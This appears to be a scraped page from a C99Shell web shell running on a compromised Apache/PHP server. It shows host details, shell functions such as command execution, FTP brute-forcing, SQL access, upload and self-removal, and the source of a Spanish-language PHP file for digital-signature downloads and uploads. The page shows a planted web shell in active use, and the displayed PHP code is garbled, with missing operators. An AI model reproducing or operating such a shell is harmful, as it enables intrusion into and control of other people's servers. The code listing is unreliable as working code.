!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/proyectos/toba_referencia/php/varios/firma_digital/standalone/   drwxrwxr-x
Free 13.96 GB of 61.93 GB (22.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     acciones.php (1.89 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require_once("toba_referencia_firmador.php");
toba::memoria()->desactivar_reciclado();

$firmador get_firmador();

//-- DESCARGAR
if ($_GET['accion'] == 'descargar') {
    if (! isset(
$_GET['codigo'])) {
        
header('HTTP/1.1 500 Internal Server Error');
        die(
"Falta indicar el codigo");
    }
    if (! 
$firmador->validar_sesion($_GET['codigo'])) {
        
header('HTTP/1.1 500 Internal Server Error');
        die(
"Codigo invalido");   
    }    
    
//Enviar PDF
    
$firmador->enviar_headers_pdf();
    
$fp fopen(toba::proyecto()->get_path_temp()."/doc{$_GET['codigo']}_sinfirma.pdf""r");
    
fpassthru($fp);
    die;
}

//-- SUBIR
if ($_GET['accion'] == 'subir') {
    if (! isset(
$_POST['codigo'])) {
        
header('HTTP/1.1 500 Internal Server Error');
        die(
"Falta indicar el codigo");
    }
    if ( ! 
$firmador->validar_sesion($_POST['codigo'])) {
        
header('HTTP/1.1 500 Internal Server Error');
        die(
"Codigo invalido");   
    }
    if (
$_FILES["md5_fileSigned"]["error"] != UPLOAD_ERR_OK) {
        
error_log("Error uploading file");
        
header('HTTP/1.1 500 Internal Server Error');
        die;
    }    
    
$destino toba::proyecto()->get_path_temp()."/doc{$_POST['codigo']}_firmado.pdf";
    
$path $_FILES['md5_fileSigned']['tmp_name'];
    if (! 
move_uploaded_file($path$destino)) {
        
error_log("Error uploading file");
        
header('HTTP/1.1 500 Internal Server Error');
        die;
    }
    die;
}

//if ($_GET['accion'] == 'jar') {
//    $fp = fopen(dirname(__FILE__).'/firmador.jar', "r");
//    header("Pragma: public"); // required 
//    header("Expires: 0"); 
//    header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); 
//    header("Cache-Control: private",false); // required for certain browsers 
//    header("Content-Type: application/java-archive"); 
//    header("Content-Disposition: attachment; filename=\"firmador.jar\"" ); 
//    header("Content-Transfer-Encoding: binary"); 
//    header("Content-Length: ".filesize(dirname(__FILE__).'/firmador.jar'));    
//    fpassthru($fp);
//    fclose($fp);
//    die;
//}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.588 ]--